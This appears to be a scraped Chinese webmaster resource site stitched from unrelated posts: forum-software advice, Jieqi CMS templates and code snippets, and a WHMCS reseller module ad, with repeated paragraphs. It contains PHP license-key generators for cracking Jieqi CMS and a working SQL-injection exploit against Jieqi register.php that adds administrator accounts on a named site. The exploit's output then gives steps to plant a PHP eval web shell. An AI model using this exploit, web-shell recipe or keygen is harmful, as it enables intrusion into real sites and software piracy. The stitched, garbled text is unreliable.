相信很多人会先选择xinuo,因为他的界面清爽什么的。但是xinuo功能太简单了,他的那些第三方插件的代码也太垃圾了,很多人用完xinuo没多久,就会想切换回Discuz,这边提供了一个插件来帮助大家。
安装方法很简单,解压上传到Discuz的source\plugin目录,然后在后台按照步骤一步一步运行就可以了。
如果在使用过遇到任何问题,可以在评论区留言。
相信很多人会先选择xinuo,因为他的界面清爽什么的。但是xinuo功能太简单了,他的那些第三方插件的代码也太垃圾了,很多人用完xinuo没多久,就会想切换回Discuz,这边提供了一个插件来帮助大家。
安装方法很简单,解压上传到Discuz的source\plugin目录,然后在后台按照步骤一步一步运行就可以了。
如果在使用过遇到任何问题,可以在评论区留言。
中国互联网从九几年开始有论坛,现在也快有25年了。
互联网最开始大家玩的就是论坛,到现在还在玩论坛的已经很少了,但是在有些垂直领域,论坛又是一个必不可少的工具。相对于单纯的聊天工具来说,论坛有更容易阅读感兴趣的话题的优势。
论坛程序是用于在线交流和讨论的软件应用程序。它们提供了一个平台,使用户能够创建主题、发表帖子、回复他人的帖子,并与其他用户进行互动。论坛程序的历史可以追溯到互联网的早期时期,下面是一些论坛程序的历史里程碑:
虽然社交媒体和其他在线平台在某种程度上取代了传统论坛的功能,但论坛仍然是一种重要的在线交流工具。它们在技术支持、专业讨论、兴趣爱好和社群建设等方面发挥着重要作用。随着时间的推移,论坛程序不断演化,以适应用户的需求和技术的发展。
国内最早的其它是LeoBBS,是CGI开发的。后面才出现了PHP开发的VB,IPB,CDB(Discuz的前身),PHPWIND等论坛程序 。
当然,这些都是老话,今天,2023年,如果我们要建一个论坛,应该选择什么程序呢。
首先,万变不离其宗。我们首先要搞明白我们自己的需求是什么。
我们是要建一个综合性的社区,还是垂直领域的交流,亦或是一个非常简单的小论坛。
如果是综合性的社区,那还是推荐Discuz,因为发展了这个多年,Discuz的成熟度,社区的支持程序都是无法比拟的,它有大量的模板和插件支撑,能够轻松实现很多你想要的功能。当然,那些模板和插件的代码质量不敢恭维,如果你真的要运营起来,肯定还是要经历不少二次开发的。
如果是垂直社区,那你的选择就比较比了,比如DiscuzQ就是一个很好的产品,它基于Vue开发,能够以小程序等形式运行,还可以打包成uniapp。
如果是传统的小范围交流社区,那还是建议vBulletin,IPB这些个老牌的产品,只是如今论坛程序式微,它们也没有好的中文社区能够支持。
XenForo是做软件分享的最好的论坛了,它支持产品按版本来更新。非常的优秀。建议可以尝试一下。
关于这些论坛程序的安装,后面我们会有专门的文章来指导。
请持续关注我们吧。
这个是biqi基于杰奇的全站源码,二次开发了很多功能。
比如:签到,下书,站点地图,投票等。
是百度权重非常高的一个模板。
截图上可见增加的功能之多。
1.6&1.7授权源码:
<?php
if (isset($_POST['action'])){
$domain = $_POST['domain'];
$type = $_POST['type'];
$license = "system=$type|forum=$type|article=$type|obook=$type|pay=$type|wap=$type|waparticle=$type|wapforum=$type|badge=$type|group=$type|space=$type|info=$type|cartoon=$type|quiz=$type|news=$type|product=$type|team=$type|vote=$type|note=$type|link=$type";
$encode = "jnyzn090211";
$md5 = md5($domain.$license.$encode);
$array = array();
$array[] = base64_encode($md5);
$array[] = base64_encode($domain);
$array[] = base64_encode($license);
$key = implode("@", $array);
}else{
$domain = "";
$type = "FREE";
$key = "";
}
?>
<div class="container container-page">
<div class="content">
<h1 class="article-title"><a href="<?php the_permalink();?>"><?php the_title();?></a></h1>
<h3>杰奇授权生成 for 1.6&1.7</h3>
<form action="key.php" method="post">
<table>
<tr>
<td>授权域名:(多个域名用“|”分隔)</td>
<td><input type="text" name="domain" value="<?php echo $domain?>" size="60" /></td>
</tr>
<tr>
<td>选择授权模式:</td>
<td>
<select name="type">
<option value="FREE"<?php if ($type == "FREE"){ ?> selected<?php }?>>免费版</option>
<option value="POPULAR"<?php if ($type == "POPULAR"){ ?> selected<?php }?>>普及版</option>
<option value="STANDARD"<?php if ($type == "STANDARD"){ ?> selected<?php }?>>标准版</option>
<option value="PROFESSION"<?php if ($type == "PROFESSION"){ ?> selected<?php }?>>专业版</option>
<option value="ENTERPRISE"<?php if ($type == "ENTERPRISE"){ ?> selected<?php }?>>企业版</option>
<option value="DELUXE"<?php if ($type == "DELUXE"){ ?> selected<?php }?>>豪华版</option>
<option value="CUSTOM"<?php if ($type == "CUSTOM"){ ?> selected<?php }?>>定制版</option>
</select>
</td>
</tr>
<tr>
<td>生成授权:</td>
<td><textarea class="textarea" name="key" rows="10" cols="60"><?php echo $key?></textarea></td>
</tr>
<tr>
<td><input type="hidden" name="action" value="make" /></td>
<td><input type="submit" value="生成" /></td>
</tr>
</table>
</form>
</div>
</div>
1.8授权源码
<?php
if (isset($_POST['action'])){
$domain = $_POST['domain'];
$type = $_POST['type'];
$license = "system=$type|forum=$type|article=$type|obook=$type|pay=$type|wap=$type|waparticle=$type|wapforum=$type|badge=$type|group=$type|space=$type|info=$type|cartoon=$type|quiz=$type|news=$type|product=$type|team=$type|vote=$type|note=$type|link=$type";
$encode = "jnyzn090211";
$md5 = md5($domain.$license."yscp" . chr(88) . "13" . "top" . "dyxz" . chr(66) . "52DDjc", true);
$array = array();
$array[] = base64_encode($md5);
$array[] = base64_encode($domain);
$array[] = base64_encode($license);
$key = implode("@", $array);
}else{
$domain = "";
$type = "FREE";
$key = "";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk" />
<title>杰奇授权生成</title>
</head>
<body>
<h3>杰奇授权生成 for 1.8</h3>
<form action="key.php" method="post">
<table>
<tr>
<td>授权域名:(多个域名用“|”分隔)</td>
<td><input type="text" name="domain" value="<?php echo $domain?>" size="60" /></td>
</tr>
<tr>
<td>选择授权模式:</td>
<td>
<select name="type">
<option value="FREE"<?php if ($type == "FREE"){ ?> selected<?php }?>>免费版</option>
<option value="POPULAR"<?php if ($type == "POPULAR"){ ?> selected<?php }?>>普及版</option>
<option value="STANDARD"<?php if ($type == "STANDARD"){ ?> selected<?php }?>>标准版</option>
<option value="PROFESSION"<?php if ($type == "PROFESSION"){ ?> selected<?php }?>>专业版</option>
<option value="ENTERPRISE"<?php if ($type == "ENTERPRISE"){ ?> selected<?php }?>>企业版</option>
<option value="DELUXE"<?php if ($type == "DELUXE"){ ?> selected<?php }?>>豪华版</option>
<option value="CUSTOM"<?php if ($type == "CUSTOM"){ ?> selected<?php }?>>定制版</option>
</select>
</td>
</tr>
<tr>
<td>生成授权:</td>
<td><textarea class="textarea" name="key" rows="10" cols="60"><?php echo $key?></textarea></td>
</tr>
<tr>
<td><input type="hidden" name="action" value="make" /></td>
<td><input type="submit" value="生成" /></td>
</tr>
</table>
</form>
</body>
</html>
收集了31个杰奇小说系统模板打包下载 ,由于比较多,不一一截图了。
模板列表见下图,需要的自取。
有些模板是从来没有流传到市面的独一无二的模板。
为避免泛滥,本资源仅限王者及以上等级下载 。
使用此脚本会直接在目标网站的数据库中插入一个新的管理员,
username = b1u3b0y
password = lanhai
本代码仅为实验用途,请勿用于非法用途。
另:杰奇1.7官方版已经修复此漏洞。
<?php
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
$argv = array("","www.slzww.com","80","http://www.slzww.com/");
function http_send($host, $packet, $port){
$sock = fsockopen($host, $port);
while (!$sock){
print "\n[-] No response from {$host}:$port Trying again...";
$sock = fsockopen($host, $port);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
print $resp;
return $resp;
}
print_r('
+---------------------------------------------------------------------------+
| Jieqi CMS Add Manager [version <=1.7] |
+---------------------------------------------------------------------------+
+---------------------------------------------------------------------------+
');
$host = $argv[1];
$port = $argv[2];
$path = $argv[3];
$payload = "username=woainimeimei&password=imnothack&repassword=imnothack&email=woainimeimei@163.COM&sex=9,'woainimeimei@163.COM','',0,0,'','','','','','','','',1332592733,0,0,0,1,0,0,0,0,10,10,0,0,0,0,0,0,0,0),(0, 0, 'niaiwome', 'niaiwome', '2eb429c676681a7bf5ae8702aa768363', 2, 1332592733, 'H', 9, 'justjsp@163.com', '', 0, 0, '', '', '', '', '', '', '', '', 1332592733, 0, 0, 0, 1, 0, 0, 0, 0, 10, 10, 0, 0, 0,0, 0, 0, 0, 0)#&qq=&url=&action=newuser&submit=%CC%E1+%BD%BB\r\n";
$packet = "POST {$path}register.php?do=submit HTTP/1.1\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Cookie: jieqiVisitInfo=jieqiUserLogin%3D1332488363%2CjieqiUserId%3D1; PHPSESSID=ho4u03ebnlq6cl6vlg1t2kbjg2";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;
http_send($host, $packet, $port);
print_r('
+---------------------------------------------------------------------------+
[+] Add manager successful? Please check it yourself!
[ ] Default URL: http://localhost/admin
[ ] username = b1u3b0y
[ ] password = lanhai
+---------------------------------------------------------------------------+
[+] Get Webshell (mysql用户需要file_priv权限)
[ ] [系统工具] -> [系统信息] (Get Path)
[ ] [数据维护] -> [数据库升级]
[ ] 执行 [ select concat(char(60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,63,62)) into dumpfile \'C:\\\\wwwroot\\\\1.php\' ]
[ ] http://localhost/1.php (password:cmd)
+---------------------------------------------------------------------------+
');
?>
foreach($this->chapters as $k => $chapter){
//处理上一页和下一页页码 $pageid = intval($_GET['page']); $aid = intval($_GET['aid']); $pagenum = 50; $pagecount =ceil( count($this->chapters)/$pagenum ); if($pageid != 1){ $previd = $pageid - 1; } if($pageid != $pagecount){ $nextcid = $pageid + 1; } else{ $nextcid = $pagecount; } //页码设置// $shouye = '<a href="reader.php?aid='.$aid.'">首页 </a>'; $prepage = '<a href="reader.php?aid='.$aid.'&page='.$previd.'"> 上一页 </a>'; $nextpage = '<a href="reader.php?aid='.$aid.'&page='.$nextcid.'"> 下一页 </a>'; $weiye = '<a href="reader.php?aid='.$aid.'&page='.$pagecount.'"> 尾页</a>'; //首页尾页处理 //第一页 if($pageid == 1 ){ $shouye = '';$prepage = ''; } //最后一页 if($pageid == $pagecount){ $weiye = '';$nextpage = ''; } if($pageid == 1 && $pageid == $pagecount){ $nextpage = '<a href="reader.php?aid='.$aid.'&page='.$nextcid.'">下一页 </a>'; $weiye = '<a href="reader.php?aid='.$aid.'&page='.$pagecount.'"> 尾页</a>'; } $pagelink = ' <div class="page">'.$shouye.$prepage.$nextpage.$weiye.'</div> <div class="page">输入页数<input id="pageinput" size="4" /><input type="button" value="跳转" onclick = "page()" /> <br/>(第'.$pageid.'/'.$pagecount.'页)当前'.$pagenum.'条/页</div> <script> function page(){ var p = document.getElementById("pageinput").value; if(isPositiveNum(p)){window.open("reader.php?aid='.$aid.'&page="+p+"/","_self");} function isPositiveNum(s){ var re = /^[0-9]*[1-9][0-9]*$/ ; return re.test(s) } } </script> '; $jieqiTpl->assign('pagelink',$pagelink); //处理上一页和下一页页码结束 $kkk = array_slice($this->chapters,($pageid-1)*$pagenum,$pagenum);//分页设置array_slice foreach($kkk as $k => $chapter){ //$this->chapters 改成 $kkk
$page = intval($_GET['page']); if ($page<1) $page=1; if($page){ $length=strlen($tmpvar); $zishu=ceil($length/4)+10; if ($length<8000) $zishu=ceil($length/3)+10; if ($length<4000) $zishu=ceil($length/2)+10; if ($length<2000) $zishu=$length+10; $page_count=ceil($length/$zishu); function msubstr($str,$start,$len){ $strlength=$start+$len; $tmpstr=""; for($i=0;$i<$strlength;$i++) { if(ord(substr($str,$i,1))>0xa0) { $tmpstr.=substr($str,$i,2); $i++; }else{ $tmpstr.=substr($str,$i,1); } } return $tmpstr; } //------------截取中文字符串--------- $c=msubstr($tmpvar,0,($page-1)*$zishu); $c1=msubstr($tmpvar,0,$page*$zishu); $tmpvar=substr($c1,strlen($c),strlen($c1)-strlen($c)); } $jieqiTpl->assign('prev',$page-1); $next=0; if ($page<$page_count) $next=$page+1; $jieqiTpl->assign('next',$next); $jieqiTpl->assign('page',$page); $jieqiTpl->assign('page_count',$page_count); $jieqiTpl->assign('jieqi_content',$tmpvar);
源码是C#的,站长使用Visual Studio 2022打开无错,可以编译并运行采集。系统支持jieqi。
有几个特点
需要的请自取。请合法使用,不得使用任何非法用途。
Resellers Center For WHMCS will empower your resellers to handle acquired customers and generated sales in your system, while also helping you keep all their ventures under essential supervision. It is through your resellers that end clients will be able to obtain products, addons and domains directly from you!
The module features a flexible management model based on reseller groups. Each group you create can gain a diverse set of reselling permissions applicable to store branding, payment gateways, payouts’ calculation methods, and other conditions. You will be able to track the sales progress statistics, as well as draw up multiple variants of documentation for resellers. Importantly, you will not need to be involved in any of reselling activities directly – the resellers alone can offer promo codes, handle acquired purchases, or even respond in tickets. All without ever leaving your WHMCS!
The genius of Resellers Center For WHMCS lies also in the choice between two reliable invoicing formulas. The first one will permit the resellers to configure independent payment gateways, issue customized invoices for end clients, and collect the money in a direct manner. Alternatively, you can receive payments settled by end clients in full, and then transfer payouts to your resellers either manually or automatically.
Let your products and services be further marketed with incomparable comfort and efficiency. Order Resellers Center For WHMCS if you crave to widen the circle of satisfied audience and rocket generated profits in next to no time!
第一步
修改slice.ts文件 文件地址:/src/store/config/slice.ts
第二步
修改index.tsx文件 文件地址:/src/pages/admin/token/index.tsx
第三步
修改package.json 文件地址:根目录
无错ChatGPT下载地址:
[b2_insert_post id=”3301″]